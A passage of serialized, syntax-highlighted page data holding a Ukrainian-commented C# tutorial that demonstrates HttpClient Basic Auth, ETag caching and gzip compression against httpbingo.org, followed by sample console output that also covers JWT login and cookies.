638,20639],{"class":3926},"  \"",[3433,20641,4976],{"class":4749},[3433,20643,20644,20646,20648,20650],{"class":3435,"line":17890},[3433,20645,7898],{"class":4811},[3433,20647,3670],{"class":4749},[3433,20649,5080],{"class":4967},[3433,20651,4824],{"class":4749},[3433,20653,20654],{"class":3435,"line":17895},[3433,20655,3458],{"emptyLinePlaceholder":3457},[3433,20657,20658],{"class":3435,"line":17916},[3433,20659,19448],{"class":4802},[3433,20661,20662],{"class":3435,"line":17921},[3433,20663,20664],{"class":4802},"\u002F\u002F 3. BASIC AUTH — httpbingo.org\n",[3433,20666,20667],{"class":3435,"line":17949},[3433,20668,19448],{"class":4802},[3433,20670,20671,20673,20675,20677,20679,20681,20683,20686],{"class":3435,"line":17971},[3433,20672,7898],{"class":4811},[3433,20674,3670],{"class":4749},[3433,20676,5080],{"class":4967},[3433,20678,4895],{"class":4749},[3433,20680,5117],{"class":3926},[3433,20682,20224],{"class":12640},[3433,20684,20685],{"class":3926},"═══ 3. Basic Auth (httpbingo.org) ═══\"",[3433,20687,4976],{"class":4749},[3433,20689,20690],{"class":3435,"line":17976},[3433,20691,3458],{"emptyLinePlaceholder":3457},[3433,20693,20694,20696,20698,20701,20703,20705,20707],{"class":3435,"line":18002},[3433,20695,4742],{"class":4741},[3433,20697,4882],{"class":3923},[3433,20699,20700],{"class":4811}," basicClient",[3433,20702,4815],{"class":4749},[3433,20704,4818],{"class":3923},[3433,20706,4892],{"class":4745},[3433,20708,4824],{"class":4749},[3433,20710,20711],{"class":3435,"line":18038},[3433,20712,3458],{"emptyLinePlaceholder":3457},[3433,20714,20715],{"class":3435,"line":18043},[3433,20716,20717],{"class":4802},"\u002F\u002F Невірні облікові дані → 401 Unauthorized\n",[3433,20719,20720,20722,20725,20727,20729,20731,20733,20735,20737,20739],{"class":3435,"line":18048},[3433,20721,4808],{"class":3923},[3433,20723,20724],{"class":4811}," wrongReq",[3433,20726,4815],{"class":4749},[3433,20728,4818],{"class":3923},[3433,20730,5450],{"class":4745},[3433,20732,4895],{"class":4749},[3433,20734,5455],{"class":4811},[3433,20736,3670],{"class":4749},[3433,20738,5460],{"class":4811},[3433,20740,4856],{"class":4749},[3433,20742,20743,20746],{"class":3435,"line":18057},[3433,20744,20745],{"class":3926},"    \"https:\u002F\u002Fhttpbingo.org\u002Fbasic-auth\u002Falice\u002Fsecret\"",[3433,20747,4976],{"class":4749},[3433,20749,20750,20753,20755,20757,20759,20761,20763,20765,20767],{"class":3435,"line":18062},[3433,20751,20752],{"class":4811},"wrongReq",[3433,20754,3670],{"class":4749},[3433,20756,5515],{"class":4811},[3433,20758,3670],{"class":4749},[3433,20760,6547],{"class":4811},[3433,20762,4815],{"class":4749},[3433,20764,4818],{"class":3923},[3433,20766,6882],{"class":4745},[3433,20768,5025],{"class":4749},[3433,20770,20771,20774,20776,20778,20780,20782,20784,20786,20788,20790,20792,20794,20796,20799],{"class":3435,"line":18067},[3433,20772,20773],{"class":3926},"    \"Basic\"",[3433,20775,4263],{"class":4749},[3433,20777,6811],{"class":4811},[3433,20779,3670],{"class":4749},[3433,20781,6816],{"class":4967},[3433,20783,4895],{"class":4749},[3433,20785,19433],{"class":4811},[3433,20787,3670],{"class":4749},[3433,20789,6828],{"class":4811},[3433,20791,3670],{"class":4749},[3433,20793,6833],{"class":4967},[3433,20795,4895],{"class":4749},[3433,20797,20798],{"class":3926},"\"alice:wrong\"",[3433,20800,20801],{"class":4749},")));\n",[3433,20803,20804,20806,20809,20811,20813,20815,20817,20819,20821,20823],{"class":3435,"line":18072},[3433,20805,4808],{"class":3923},[3433,20807,20808],{"class":4811}," wrongResp",[3433,20810,4815],{"class":4749},[3433,20812,4960],{"class":3923},[3433,20814,20700],{"class":4811},[3433,20816,3670],{"class":4749},[3433,20818,5484],{"class":4967},[3433,20820,4895],{"class":4749},[3433,20822,20752],{"class":4811},[3433,20824,4976],{"class":4749},[3433,20826,20828,20830,20832,20834,20836,20839,20841,20844,20846,20848,20850,20852],{"class":3435,"line":20827},99,[3433,20829,7898],{"class":4811},[3433,20831,3670],{"class":4749},[3433,20833,5080],{"class":4967},[3433,20835,4895],{"class":4749},[3433,20837,20838],{"class":3926},"$\"✅ Невірний пароль: ",[3433,20840,5089],{"class":5088},[3433,20842,20843],{"class":4811},"wrongResp",[3433,20845,3670],{"class":5088},[3433,20847,12745],{"class":4811},[3433,20849,5100],{"class":5088},[3433,20851,5117],{"class":3926},[3433,20853,4976],{"class":4749},[3433,20855,20857],{"class":3435,"line":20856},100,[3433,20858,3458],{"emptyLinePlaceholder":3457},[3433,20860,20862],{"class":3435,"line":20861},101,[3433,20863,20864],{"class":4802},"\u002F\u002F Правильні облікові дані → 200 OK\n",[3433,20866,20868,20870,20873,20875,20877,20879,20881,20883,20885,20887],{"class":3435,"line":20867},102,[3433,20869,4808],{"class":3923},[3433,20871,20872],{"class":4811}," rightReq",[3433,20874,4815],{"class":4749},[3433,20876,4818],{"class":3923},[3433,20878,5450],{"class":4745},[3433,20880,4895],{"class":4749},[3433,20882,5455],{"class":4811},[3433,20884,3670],{"class":4749},[3433,20886,5460],{"class":4811},[3433,20888,4856],{"class":4749},[3433,20890,20892,20894],{"class":3435,"line":20891},103,[3433,20893,20745],{"class":3926},[3433,20895,4976],{"class":4749},[3433,20897,20899,20902,20904,20906,20908,20910,20912,20914,20916],{"class":3435,"line":20898},104,[3433,20900,20901],{"class":4811},"rightReq",[3433,20903,3670],{"class":4749},[3433,20905,5515],{"class":4811},[3433,20907,3670],{"class":4749},[3433,20909,6547],{"class":4811},[3433,20911,4815],{"class":4749},[3433,20913,4818],{"class":3923},[3433,20915,6882],{"class":4745},[3433,20917,5025],{"class":4749},[3433,20919,20921,20923,20925,20927,20929,20931,20933,20935,20937,20939,20941,20943,20945,20947],{"class":3435,"line":20920},105,[3433,20922,20773],{"class":3926},[3433,20924,4263],{"class":4749},[3433,20926,6811],{"class":4811},[3433,20928,3670],{"class":4749},[3433,20930,6816],{"class":4967},[3433,20932,4895],{"class":4749},[3433,20934,19433],{"class":4811},[3433,20936,3670],{"class":4749},[3433,20938,6828],{"class":4811},[3433,20940,3670],{"class":4749},[3433,20942,6833],{"class":4967},[3433,20944,4895],{"class":4749},[3433,20946,6838],{"class":3926},[3433,20948,20801],{"class":4749},[3433,20950,20952,20954,20957,20959,20961,20963,20965,20967,20969,20971],{"class":3435,"line":20951},106,[3433,20953,4808],{"class":3923},[3433,20955,20956],{"class":4811}," rightResp",[3433,20958,4815],{"class":4749},[3433,20960,4960],{"class":3923},[3433,20962,20700],{"class":4811},[3433,20964,3670],{"class":4749},[3433,20966,5484],{"class":4967},[3433,20968,4895],{"class":4749},[3433,20970,20901],{"class":4811},[3433,20972,4976],{"class":4749},[3433,20974,20976,20978,20981,20983,20985,20987,20989,20991,20993,20995,20997,20999],{"class":3435,"line":20975},107,[3433,20977,4808],{"class":3923},[3433,20979,20980],{"class":4811}," authBody",[3433,20982,4815],{"class":4749},[3433,20984,4960],{"class":3923},[3433,20986,20956],{"class":4811},[3433,20988,3670],{"class":4749},[3433,20990,7880],{"class":4811},[3433,20992,3670],{"class":4749},[3433,20994,7885],{"class":4967},[3433,20996,5005],{"class":4749},[3433,20998,19620],{"class":4745},[3433,21000,7893],{"class":4749},[3433,21002,21004,21006,21008,21010,21012,21015,21017,21020,21022,21024,21026,21029,21031,21034,21036,21038,21040,21043,21045,21047],{"class":3435,"line":21003},108,[3433,21005,7898],{"class":4811},[3433,21007,3670],{"class":4749},[3433,21009,5080],{"class":4967},[3433,21011,4895],{"class":4749},[3433,21013,21014],{"class":3926},"$\"✅ Правильні дані: ",[3433,21016,5089],{"class":5088},[3433,21018,21019],{"class":4811},"rightResp",[3433,21021,3670],{"class":5088},[3433,21023,12745],{"class":4811},[3433,21025,5100],{"class":5088},[3433,21027,21028],{"class":3926},", authenticated=",[3433,21030,5089],{"class":5088},[3433,21032,21033],{"class":4811},"authBody",[3433,21035,3670],{"class":5088},[3433,21037,19639],{"class":4967},[3433,21039,4895],{"class":5088},[3433,21041,21042],{"class":3926},"\"authenticated\"",[3433,21044,15028],{"class":5088},[3433,21046,5117],{"class":3926},[3433,21048,4976],{"class":4749},[3433,21050,21052],{"class":3435,"line":21051},109,[3433,21053,3458],{"emptyLinePlaceholder":3457},[3433,21055,21057],{"class":3435,"line":21056},110,[3433,21058,19448],{"class":4802},[3433,21060,21062],{"class":3435,"line":21061},111,[3433,21063,21064],{"class":4802},"\u002F\u002F 4. ETAG CACHING — httpbingo.org\n",[3433,21066,21068],{"class":3435,"line":21067},112,[3433,21069,19448],{"class":4802},[3433,21071,21073,21075,21077,21079,21081,21083,21085,21088],{"class":3435,"line":21072},113,[3433,21074,7898],{"class":4811},[3433,21076,3670],{"class":4749},[3433,21078,5080],{"class":4967},[3433,21080,4895],{"class":4749},[3433,21082,5117],{"class":3926},[3433,21084,20224],{"class":12640},[3433,21086,21087],{"class":3926},"═══ 4. ETag Caching (httpbingo.org) ═══\"",[3433,21089,4976],{"class":4749},[3433,21091,21093],{"class":3435,"line":21092},114,[3433,21094,3458],{"emptyLinePlaceholder":3457},[3433,21096,21098,21100,21102,21105,21107,21109,21111,21113,21115,21117,21119,21121,21123,21125],{"class":3435,"line":21097},115,[3433,21099,4742],{"class":4741},[3433,21101,4882],{"class":3923},[3433,21103,21104],{"class":4811}," cacheClient",[3433,21106,4815],{"class":4749},[3433,21108,4818],{"class":3923},[3433,21110,4892],{"class":4745},[3433,21112,5337],{"class":4749},[3433,21114,7753],{"class":4811},[3433,21116,4815],{"class":4749},[3433,21118,4818],{"class":3923},[3433,21120,4917],{"class":4745},[3433,21122,4895],{"class":4749},[3433,21124,4922],{"class":3926},[3433,21126,7767],{"class":4749},[3433,21128,21130],{"class":3435,"line":21129},116,[3433,21131,3458],{"emptyLinePlaceholder":3457},[3433,21133,21135],{"class":3435,"line":21134},117,[3433,21136,21137],{"class":4802},"\u002F\u002F Перший запит — отримуємо ETag\n",[3433,21139,21141,21143,21146,21148,21150,21152,21154,21156,21158,21161],{"class":3435,"line":21140},118,[3433,21142,4808],{"class":3923},[3433,21144,21145],{"class":4811}," firstResp",[3433,21147,4815],{"class":4749},[3433,21149,4960],{"class":3923},[3433,21151,21104],{"class":4811},[3433,21153,3670],{"class":4749},[3433,21155,4968],{"class":4967},[3433,21157,4895],{"class":4749},[3433,21159,21160],{"class":3926},"\"etag\u002Fv7-product-list\"",[3433,21162,4976],{"class":4749},[3433,21164,21166,21168,21171,21173,21176,21178,21180,21182,21184,21186,21188,21191,21194],{"class":3435,"line":21165},119,[3433,21167,3940],{"class":3923},[3433,21169,21170],{"class":4811}," etag",[3433,21172,4815],{"class":4749},[3433,21174,21175],{"class":4811},"firstResp",[3433,21177,3670],{"class":4749},[3433,21179,5515],{"class":4811},[3433,21181,3670],{"class":4749},[3433,21183,12065],{"class":4811},[3433,21185,8009],{"class":4749},[3433,21187,12859],{"class":4811},[3433,21189,21190],{"class":4749}," ?? ",[3433,21192,21193],{"class":3926},"\"\"",[3433,21195,4755],{"class":4749},[3433,21197,21199,21202,21205,21207,21209,21211,21213,21215,21217,21219,21222,21224],{"class":3435,"line":21198},120,[3433,21200,21201],{"class":3923},"long",[3433,21203,21204],{"class":4811}," firstSize",[3433,21206,10447],{"class":4749},[3433,21208,4960],{"class":3923},[3433,21210,21145],{"class":4811},[3433,21212,3670],{"class":4749},[3433,21214,7880],{"class":4811},[3433,21216,3670],{"class":4749},[3433,21218,17944],{"class":4967},[3433,21220,21221],{"class":4749},"()).",[3433,21223,5673],{"class":4811},[3433,21225,4755],{"class":4749},[3433,21227,21229,21231,21233,21235,21237,21240,21242,21244,21246,21248,21250,21253,21255,21258,21260,21262,21264,21267,21269,21272],{"class":3435,"line":21228},121,[3433,21230,7898],{"class":4811},[3433,21232,3670],{"class":4749},[3433,21234,5080],{"class":4967},[3433,21236,4895],{"class":4749},[3433,21238,21239],{"class":3926},"$\"✅ GET \u002Fetag\u002Fv7-product-list: ",[3433,21241,5089],{"class":5088},[3433,21243,21175],{"class":4811},[3433,21245,3670],{"class":5088},[3433,21247,12745],{"class":4811},[3433,21249,5100],{"class":5088},[3433,21251,21252],{"class":3926},", ETag=",[3433,21254,5089],{"class":5088},[3433,21256,21257],{"class":4811},"etag",[3433,21259,5100],{"class":5088},[3433,21261,4263],{"class":3926},[3433,21263,5089],{"class":5088},[3433,21265,21266],{"class":4811},"firstSize",[3433,21268,5100],{"class":5088},[3433,21270,21271],{"class":3926}," байт\"",[3433,21273,4976],{"class":4749},[3433,21275,21277],{"class":3435,"line":21276},122,[3433,21278,3458],{"emptyLinePlaceholder":3457},[3433,21280,21282],{"class":3435,"line":21281},123,[3433,21283,21284],{"class":4802},"\u002F\u002F Conditional GET — If-None-Match: якщо ресурс не змінився → 304 (0 байт тіла)\n",[3433,21286,21288,21290,21293,21295,21297,21299,21301,21303,21305,21307,21309,21311],{"class":3435,"line":21287},124,[3433,21289,4808],{"class":3923},[3433,21291,21292],{"class":4811}," condReq",[3433,21294,4815],{"class":4749},[3433,21296,4818],{"class":3923},[3433,21298,5450],{"class":4745},[3433,21300,4895],{"class":4749},[3433,21302,5455],{"class":4811},[3433,21304,3670],{"class":4749},[3433,21306,5460],{"class":4811},[3433,21308,4263],{"class":4749},[3433,21310,21160],{"class":3926},[3433,21312,4976],{"class":4749},[3433,21314,21316,21319,21321,21323,21325,21327,21329,21331,21333,21335,21337,21339,21341],{"class":3435,"line":21315},125,[3433,21317,21318],{"class":4811},"condReq",[3433,21320,3670],{"class":4749},[3433,21322,5515],{"class":4811},[3433,21324,3670],{"class":4749},[3433,21326,12622],{"class":4811},[3433,21328,3670],{"class":4749},[3433,21330,5793],{"class":4967},[3433,21332,4895],{"class":4749},[3433,21334,4818],{"class":3923},[3433,21336,12633],{"class":4745},[3433,21338,4895],{"class":4749},[3433,21340,21257],{"class":4811},[3433,21342,12654],{"class":4749},[3433,21344,21346,21348,21351,21353,21355,21357,21359,21361,21363,21365],{"class":3435,"line":21345},126,[3433,21347,4808],{"class":3923},[3433,21349,21350],{"class":4811}," condResp",[3433,21352,4815],{"class":4749},[3433,21354,4960],{"class":3923},[3433,21356,21104],{"class":4811},[3433,21358,3670],{"class":4749},[3433,21360,5484],{"class":4967},[3433,21362,4895],{"class":4749},[3433,21364,21318],{"class":4811},[3433,21366,4976],{"class":4749},[3433,21368,21370,21372,21374,21376,21378,21381,21383,21386,21388,21390,21392,21395],{"class":3435,"line":21369},127,[3433,21371,7898],{"class":4811},[3433,21373,3670],{"class":4749},[3433,21375,5080],{"class":4967},[3433,21377,4895],{"class":4749},[3433,21379,21380],{"class":3926},"$\"✅ Conditional GET: ",[3433,21382,5089],{"class":5088},[3433,21384,21385],{"class":4811},"condResp",[3433,21387,3670],{"class":5088},[3433,21389,12745],{"class":4811},[3433,21391,5100],{"class":5088},[3433,21393,21394],{"class":3926}," \"",[3433,21396,21397],{"class":4749}," +\n",[3433,21399,21401,21404,21406,21408,21410,21412,21415,21417,21419,21421,21424,21427,21430,21433,21435,21437],{"class":3435,"line":21400},128,[3433,21402,21403],{"class":3926},"    $\"— тіло ",[3433,21405,15982],{"class":5088},[3433,21407,21385],{"class":4811},[3433,21409,3670],{"class":5088},[3433,21411,12745],{"class":4811},[3433,21413,21414],{"class":4749}," ==",[3433,21416,15741],{"class":4811},[3433,21418,3670],{"class":5088},[3433,21420,12755],{"class":4811},[3433,21422,21423],{"class":4749}," ?",[3433,21425,21426],{"class":3926}," \"відсутнє (0 байт!)\"",[3433,21428,21429],{"class":4749}," :",[3433,21431,21432],{"class":3926}," \"отримано\"",[3433,21434,15028],{"class":5088},[3433,21436,5117],{"class":3926},[3433,21438,4976],{"class":4749},[3433,21440,21442],{"class":3435,"line":21441},129,[3433,21443,3458],{"emptyLinePlaceholder":3457},[3433,21445,21447],{"class":3435,"line":21446},130,[3433,21448,19448],{"class":4802},[3433,21450,21452],{"class":3435,"line":21451},131,[3433,21453,21454],{"class":4802},"\u002F\u002F 5. COMPRESSION — httpbingo.org\n",[3433,21456,21458],{"class":3435,"line":21457},132,[3433,21459,19448],{"class":4802},[3433,21461,21463,21465,21467,21469,21471,21473,21475,21478],{"class":3435,"line":21462},133,[3433,21464,7898],{"class":4811},[3433,21466,3670],{"class":4749},[3433,21468,5080],{"class":4967},[3433,21470,4895],{"class":4749},[3433,21472,5117],{"class":3926},[3433,21474,20224],{"class":12640},[3433,21476,21477],{"class":3926},"═══ 5. Compression (httpbingo.org) ═══\"",[3433,21479,4976],{"class":4749},[3433,21481,21483],{"class":3435,"line":21482},134,[3433,21484,3458],{"emptyLinePlaceholder":3457},[3433,21486,21488,21490,21493,21495,21497],{"class":3435,"line":21487},135,[3433,21489,4808],{"class":3923},[3433,21491,21492],{"class":4811}," compHandler",[3433,21494,4815],{"class":4749},[3433,21496,4818],{"class":3923},[3433,21498,4838],{"class":4745},[3433,21500,21502],{"class":3435,"line":21501},136,[3433,21503,4843],{"class":4749},[3433,21505,21507,21509,21511,21513,21515,21518,21521,21523,21525],{"class":3435,"line":21506},137,[3433,21508,13922],{"class":4811},[3433,21510,4815],{"class":4749},[3433,21512,13927],{"class":4811},[3433,21514,3670],{"class":4749},[3433,21516,21517],{"class":4811},"GZip",[3433,21519,21520],{"class":4749}," | ",[3433,21522,13927],{"class":4811},[3433,21524,3670],{"class":4749},[3433,21526,13944],{"class":4811},[3433,21528,21530],{"class":3435,"line":21529},138,[3433,21531,4871],{"class":4749},[3433,21533,21535,21537,21539,21542,21544,21546,21548,21550,21553],{"class":3435,"line":21534},139,[3433,21536,4742],{"class":4741},[3433,21538,4882],{"class":3923},[3433,21540,21541],{"class":4811}," compClient",[3433,21543,4815],{"class":4749},[3433,21545,4818],{"class":3923},[3433,21547,4892],{"class":4745},[3433,21549,4895],{"class":4749},[3433,21551,21552],{"class":4811},"compHandler",[3433,21554,4976],{"class":4749},[3433,21556,21558],{"class":3435,"line":21557},140,[3433,21559,3458],{"emptyLinePlaceholder":3457},[3433,21561,21563],{"class":3435,"line":21562},141,[3433,21564,21565],{"class":4802},"\u002F\u002F \u002Fgzip — завжди повертає gzip-стиснений JSON\n",[3433,21567,21569,21571,21574,21576,21578,21580,21582,21584,21586,21588],{"class":3435,"line":21568},142,[3433,21570,4808],{"class":3923},[3433,21572,21573],{"class":4811}," gzipResp",[3433,21575,4815],{"class":4749},[3433,21577,4960],{"class":3923},[3433,21579,21541],{"class":4811},[3433,21581,3670],{"class":4749},[3433,21583,4968],{"class":4967},[3433,21585,4895],{"class":4749},[3433,21587,14023],{"class":3926},[3433,21589,4976],{"class":4749},[3433,21591,21593,21595,21598,21600,21602,21604,21606,21608,21610,21612],{"class":3435,"line":21592},143,[3433,21594,3940],{"class":3923},[3433,21596,21597],{"class":4811}," gzipBody",[3433,21599,4815],{"class":4749},[3433,21601,4960],{"class":3923},[3433,21603,21573],{"class":4811},[3433,21605,3670],{"class":4749},[3433,21607,7880],{"class":4811},[3433,21609,3670],{"class":4749},[3433,21611,12948],{"class":4967},[3433,21613,4824],{"class":4749},[3433,21615,21617,21619,21621,21623,21625,21628,21630,21633,21635,21637,21639,21642,21644,21647,21649,21651,21653,21655],{"class":3435,"line":21616},144,[3433,21618,7898],{"class":4811},[3433,21620,3670],{"class":4749},[3433,21622,5080],{"class":4967},[3433,21624,4895],{"class":4749},[3433,21626,21627],{"class":3926},"$\"✅ GZIP: ",[3433,21629,5089],{"class":5088},[3433,21631,21632],{"class":4811},"gzipResp",[3433,21634,3670],{"class":5088},[3433,21636,12745],{"class":4811},[3433,21638,5100],{"class":5088},[3433,21640,21641],{"class":3926},", розпаковано ",[3433,21643,5089],{"class":5088},[3433,21645,21646],{"class":4811},"gzipBody",[3433,21648,3670],{"class":5088},[3433,21650,5673],{"class":4811},[3433,21652,5100],{"class":5088},[3433,21654,14123],{"class":3926},[3433,21656,4976],{"class":4749},[3433,21658,21660],{"class":3435,"line":21659},145,[3433,21661,3458],{"emptyLinePlaceholder":3457},[3433,21663,21665,21667,21669,21671,21673,21675,21677,21680],{"class":3435,"line":21664},146,[3433,21666,7898],{"class":4811},[3433,21668,3670],{"class":4749},[3433,21670,5080],{"class":4967},[3433,21672,4895],{"class":4749},[3433,21674,5117],{"class":3926},[3433,21676,20224],{"class":12640},[3433,21678,21679],{"class":3926},"═══ Готово! Всі 5 концепцій продемонстровано. ═══\"",[3433,21681,4976],{"class":4749},[3433,21683,21685],{"class":3435,"line":21684},147,[3433,21686,3458],{"emptyLinePlaceholder":3457},[3433,21688,21690],{"class":3435,"line":21689},148,[3433,21691,21692],{"class":4802},"\u002F\u002F ── Допоміжна функція ────────────────────────────────────────────────────────\n",[3433,21694,21696,21699,21701,21704,21706,21708,21711],{"class":3435,"line":21695},149,[3433,21697,21698],{"class":3923},"static",[3433,21700,16426],{"class":3923},[3433,21702,21703],{"class":4967}," PadBase64",[3433,21705,4895],{"class":4749},[3433,21707,3940],{"class":3923},[3433,21709,21710],{"class":4811}," base64Url",[3433,21712,4901],{"class":4749},[3433,21714,21716],{"class":3435,"line":21715},150,[3433,21717,4843],{"class":4749},[3433,21719,21721,21723,21726,21728,21731,21733,21736,21738,21741,21743,21746,21748,21750,21752,21755,21757,21760],{"class":3435,"line":21720},151,[3433,21722,9109],{"class":3923},[3433,21724,21725],{"class":4811}," base64",[3433,21727,4815],{"class":4749},[3433,21729,21730],{"class":4811},"base64Url",[3433,21732,3670],{"class":4749},[3433,21734,21735],{"class":4967},"Replace",[3433,21737,4895],{"class":4749},[3433,21739,21740],{"class":3926},"'-'",[3433,21742,4263],{"class":4749},[3433,21744,21745],{"class":3926},"'+'",[3433,21747,4708],{"class":4749},[3433,21749,21735],{"class":4967},[3433,21751,4895],{"class":4749},[3433,21753,21754],{"class":3926},"'_'",[3433,21756,4263],{"class":4749},[3433,21758,21759],{"class":3926},"'\u002F'",[3433,21761,4976],{"class":4749},[3433,21763,21765,21767,21769,21771,21773,21776,21779],{"class":3435,"line":21764},152,[3433,21766,12983],{"class":4741},[3433,21768,21725],{"class":4811},[3433,21770,3670],{"class":4749},[3433,21772,5673],{"class":4811},[3433,21774,21775],{"class":4749}," % ",[3433,21777,21778],{"class":5604},"4",[3433,21780,21781],{"class":4741}," switch\n",[3433,21783,21785],{"class":3435,"line":21784},153,[3433,21786,5565],{"class":4749},[3433,21788,21790,21793,21795,21798,21800,21803],{"class":3435,"line":21789},154,[3433,21791,21792],{"class":5604},"        2",[3433,21794,5958],{"class":4749},[3433,21796,21797],{"class":4811},"base64",[3433,21799,4109],{"class":4749},[3433,21801,21802],{"class":3926},"\"==\"",[3433,21804,4856],{"class":4749},[3433,21806,21808,21811,21813,21815,21817,21820],{"class":3435,"line":21807},155,[3433,21809,21810],{"class":5604},"        3",[3433,21812,5958],{"class":4749},[3433,21814,21797],{"class":4811},[3433,21816,4109],{"class":4749},[3433,21818,21819],{"class":3926},"\"=\"",[3433,21821,4856],{"class":4749},[3433,21823,21825,21828,21830],{"class":3435,"line":21824},156,[3433,21826,21827],{"class":3923},"        _",[3433,21829,5958],{"class":4749},[3433,21831,21832],{"class":4811},"base64\n",[3433,21834,21836],{"class":3435,"line":21835},157,[3433,21837,21838],{"class":4749},"    };\n",[3433,21840,21842],{"class":3435,"line":21841},158,[3433,21843,3813],{"class":4749},[18823,21845,21847,21851,21855,21859,21863,21867,21871,21875,21878,21882,21886,21890,21894,21898,21901,21905,21909,21913,21916,21920,21924,21928,21931,21935,21939,21942],{"title":21846},"dotnet run — HttpPlayground",[18827,21848,21850],{"className":21849},[3435],"═══ 1. JWT Authentication (dummyjson.com) ═══",[18827,21852,21854],{"className":21853},[3435],"✅ JWT отримано: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",[18827,21856,21858],{"className":21857},[3435],"   sub (id):  1",[18827,21860,21862],{"className":21861},[3435],"   username:  emilys",[18827,21864,21866],{"className":21865},[3435],"   Профіль:   Emily Johnson",[18827,21868,21870],{"className":21869},[3435],"   Email:     emily.johnson@x.dummyjson.com",[18827,21872,21874],{"className":21873},[3435],"✅ Токен оновлено: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",[18827,21876,4115],{"className":21877},[3435],[18827,21879,21881],{"className":21880},[3435],"═══ 2. Cookie Management (httpbingo.org) ═══",[18827,21883,21885],{"className":21884},[3435],"✅ CookieContainer має 2 cookies:",[18827,21887,21889],{"className":21888},[3435],"   session=token_xyz123  HttpOnly=True",[18827,21891,21893],{"className":21892},[3435],"   theme=dark  HttpOnly=True",[18827,21895,21897],{"className":21896},[3435],"   httpbingo бачить: session=token_xyz123  theme=dark",[18827,21899,4115],{"className":21900},[3435],[18827,21902,21904],{"className":21903},[3435],"═══ 3. Basic Auth (httpbingo.org) ═══",[18827,21906,21908],{"className":21907},[3435],"✅ Невірний пароль: Unauthorized",[18827,21910,21912],{"className":21911},[3435],"✅ Правильні дані: OK, authenticated=true",[18827,21914,4115],{"className":21915},[3435],[18827,21917,21919],{"className":21918},[3435],"═══ 4. ETag Caching (httpbingo.org) ═══",[18827,21921,21923],{"className":21922},[3435],"✅ GET \u002Fetag\u002Fv7-product-list: OK, ETag=\"v7-product-list\", 426 байт",[18827,21925,21927],{"className":21926},[3435],"✅ Conditional GET: NotModified — тіло відсутнє (0 байт!)",[18827,21929,4115],{"className":21930},[3435],[18827,21932,21934],{"className":21933},[3435],"═══ 5. Compression (httpbingo.org) ═══",[18827,21936,21938],{"className":21937},[3435],"✅ GZIP: OK, розпаковано 226 символів",[18827,21940,4115],{"className":21941},[3435],[18827,21943,21945],{"className":21944},[3435],"═══ Готово! Всі 5 концепцій продемонстровано. ═══",[21947,21948,21949],"style",{},"html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sKtos, html code.shiki .sKtos{--shiki-light:#800000;--shiki-default:#569CD6;--shiki-dark:#569CD6}html pre.shiki code .su1O8, html code.shiki .su1O8{--shiki-light:#0000FF;--shiki-default:#569CD6;--shiki-dark:#569CD6}html pre.shiki code .sbdoH, html code.shiki .sbdoH{--shiki-light:#A31515;--shiki-default:#CE9178;--shiki-dark:#CE9178}html pre.shiki code .s8xlr, html code.shiki .s8xlr{--shiki-light:#AF00DB;--shiki-default:#C586C0;--shiki-dark:#C586C0}html pre.shiki code .sN1BT, html code.shiki .sN1BT{--shiki-light:#267F99;--shiki-default:#4EC9B0;--shiki-dark:#4EC9B0}html pre.shiki code .sHH4Y, html code.shiki .sHH4Y{--shiki-light:#000000;--shiki-default:#D4D4D4;--shiki-dark:#D4D4D4}html pre.shiki code .spJ8K, html code.shiki .spJ8K{--shiki-light:#008000;--shiki-default:#6A9955;--shiki-dark:#6A9955}html pre.shiki code .siwwj, html code.shiki .siwwj{--shiki-light:#001080;--shiki-default:#9CDCFE;--shiki-dark:#9CDCFE}html pre.shiki code .s8Opu, html code.shiki .s8Opu{--shiki-light:#795E26;--shiki-default:#DCDCAA;--shiki-dark:#DCDCAA}html pre.shiki code .sD7JJ, html code.shiki .sD7JJ{--shiki-light:#000000FF;--shiki-default:#D4D4D4;--shiki-dark:#D4D4D4}html pre.shiki code .sJj4R, html code.shiki .sJj4R{--shiki-light:#098658;--shiki-default:#B5CEA8;--shiki-dark:#B5CEA8}html pre.shiki code .s0P7L, html code.shiki .s0P7L{--shiki-light:#800000;--shiki-default:#808080;--shiki-dark:#808080}html pre.shiki code .sa4r_, html code.shiki .sa4r_{--shiki-light:#E50000;--shiki-default:#9CDCFE;--shiki-dark:#9CDCFE}html pre.shiki code .su9tN, html code.shiki .su9tN{--shiki-light:#0000FF;--shiki-default:#CE9178;--shiki-dark:#CE9178}html pre.shiki code .se1LK, html code.shiki .se1LK{--shiki-light:#CD3131;--shiki-default:#F44747;--shiki-dark:#F44747}html pre.shiki code .sjcCO, html code.shiki .sjcCO{--shiki-light:#EE0000;--shiki-default:#D7BA7D;--shiki-dark:#D7BA7D}html pre.shiki code .sLwNe, html code.shiki 